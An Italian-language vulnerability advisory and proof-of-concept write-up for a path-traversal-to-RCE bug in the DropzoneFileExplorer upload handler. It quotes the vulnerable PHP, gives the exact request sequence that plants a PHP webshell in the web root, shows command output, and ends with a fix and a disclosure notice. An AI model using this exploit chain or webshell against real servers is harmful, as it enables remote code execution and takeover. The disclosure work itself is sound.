
Proof-of-concept della catena di exploit per CVE-2026-104826, un path traversal nel gestore di upload a chunk di DropzoneFileExplorer che scrive un webshell PHP per l'esecuzione di codice in remoto.
Il gestore di upload resumable (a chunk) si fida del fileName fornito dal client
fino a fopen(). Passagli ../../ e scrivi fuori dalla cartella consentita,
fuori dalla root di storage, dentro la web root. L'applicazione serve PHP, quindi il
file che pianti viene eseguito.
Progetto: KeepCoolCH/DropzoneFileExplorer
| CVE | CVE-2026-104826 |
| Advisory | GHSA-7626-89vx-5rpc |
| Classe | CWE-22 (Path Traversal) -> CWE-434 -> RCE |
| Auth | autenticato di default, non autenticato se AUTH_ENABLE=false |
| CVSS v4.0 | 8.5 High (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) |
| Affected | v1.1 (testato al commit 68858e0) |
| Fixed in | v1.2 |
| Credit | Kanarat Kaeothong (Axiom0x) |
Due funzioni contano. uploadInit prende fileName dal body della richiesta e lo
conserva senza farci nulla se non un trim() (inc/functions.php, intorno a L2080):
$fileName = trim((string)($body['fileName'] ?? 'file')); // no basename(), no norm_rel()
// ...stored verbatim in the upload's meta.json
uploadFinalize in seguito lo rilegge e assembla il percorso di output
(inc/functions.php, L2192-2216):
$destDir = norm_rel((string)($meta['destDir'] ?? '')); // normalized
$relPath = norm_rel((string)($meta['relativePath'] ?? '')); // normalized
$fileName = (string)($meta['fileName'] ?? 'file'); // NOT normalized
$destBaseAbs = abs_path($destDir);
ensure_inside_allowed_roots($destBaseAbs); // dir is checked
$finalDirAbs = $destBaseAbs;
if ($relPath !== '') {
$finalDirAbs = $destBaseAbs . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $relPath);
ensure_inside_allowed_roots($finalDirAbs); // dir is checked
}
$finalName = $fileName;
$finalAbs = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName; // traversal lands here
// ...
$out = @fopen($finalAbs, 'c+b'); // arbitrary write
ensure_inside_allowed_roots() di per sé va bene. Chiama realpath() e si
assicura che il percorso rimanga sotto le root dell'utente. Il problema è ciò che
gli viene passato. $destBaseAbs e $finalDirAbs sono entrambi validati, ma
$finalAbs, quello che contiene effettivamente il fileName dell'attaccante, non
lo è mai. fopen() riceve la stringa grezza
.../shared/../../app/shell.php e il sistema operativo collassa i .. per te.
Da notare: ogni altro percorso di scrittura in questo codebase o fa passare il
percorso composto attraverso ensure_inside_allowed_roots() o avvolge il nome in
basename(). Questo non fa né l'uno né l'altro. Sembra un punto che è stato
rifattorizzato e il controllo finale è andato perso.
v1.1 stock, configurazione di default (AUTH_ENABLE=true). L'attore è un utente
normale lowpriv la cui unica cartella è shared.
Accedi come lowpriv (recupera il token CSRF dalla pagina di login, poi invia
in POST auth_action=login).
Conferma che la sandbox funziona davvero. Caricare direttamente nella cartella di qualcun altro viene rifiutato:
POST /index.php?action=uploadInit
{"destDir":"secret_admin_area","fileName":"x.txt","fileSize":0,"policy":"overwrite"}
-> {"ok":false,"error":"Access denied"}
Usa la cartella consentita, ma avvelena fileName:
POST /index.php?action=uploadInit
{"destDir":"shared","fileName":"../../app/pwned.php","fileSize":0,"policy":"overwrite"}
-> {"ok":true,"uploadId":"..."}
Invia il payload come un singolo chunk:
POST /index.php?action=uploadChunk (multipart)
uploadId=<id>&index=0&total=1 + file field "chunk" = <?php system($_GET['c']); ?>
-> {"ok":true}
Finalizza:
POST /index.php?action=uploadFinalize
{"uploadId":"<id>","policy":"overwrite"}
-> {"ok":true,"path":"app/pwned.php"}
La risposta riporta app/pwned.php. L'applicazione stessa ti sta dicendo che ha
scritto fuori da shared e fuori dalla root di storage.
Esegui:
GET /pwned.php?c=id
-> uid=... (command output)
Dalla mia esecuzione contro un'istanza locale:
GET /pwned_axiom.php?c=id
uid=501(miniq) gid=20(staff) ...
GET /pwned_axiom.php?c=uname+-a
Darwin ... arm64
Vedi poc/exploit.py per la catena completa (login, CSRF, poison,
chunk, finalize, execute).
Chiunque sia autorizzato a caricare può scrivere un file ovunque il processo PHP
possa scrivere, indipendentemente da ciò che dicono le regole delle cartelle per
utente. Un file .php nella web root è esecuzione di codice remoto come utente
web. Con AUTH_ENABLE=false non c'è alcuno step di login ed è RCE non autenticato
diretto.
In uploadFinalize, riduci fileName a un nome puro prima di aprirlo, e
ricontrolla il percorso composto:
$finalName = basename($fileName); // kill any path component
$finalAbs = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;
ensure_inside_allowed_roots($finalAbs); // and verify the real target
basename() da solo ferma il traversal. Aggiungere il controllo
ensure_inside_allowed_roots($finalAbs) è la versione belt-and-suspenders, e
corrisponde a come il resto del codice già protegge le scritture. Lo stesso
trattamento va applicato al ramo della policy rename (intorno a L2210) dove
$finalName viene ricalcolato. Il maintainer ha rilasciato questo in v1.2.
Divulgazione coordinata, corretto prima che questo diventasse pubblico. Il PoC è deliberatamente mirato a un'istanza di test locale. Non puntarlo contro nulla che non possiedi.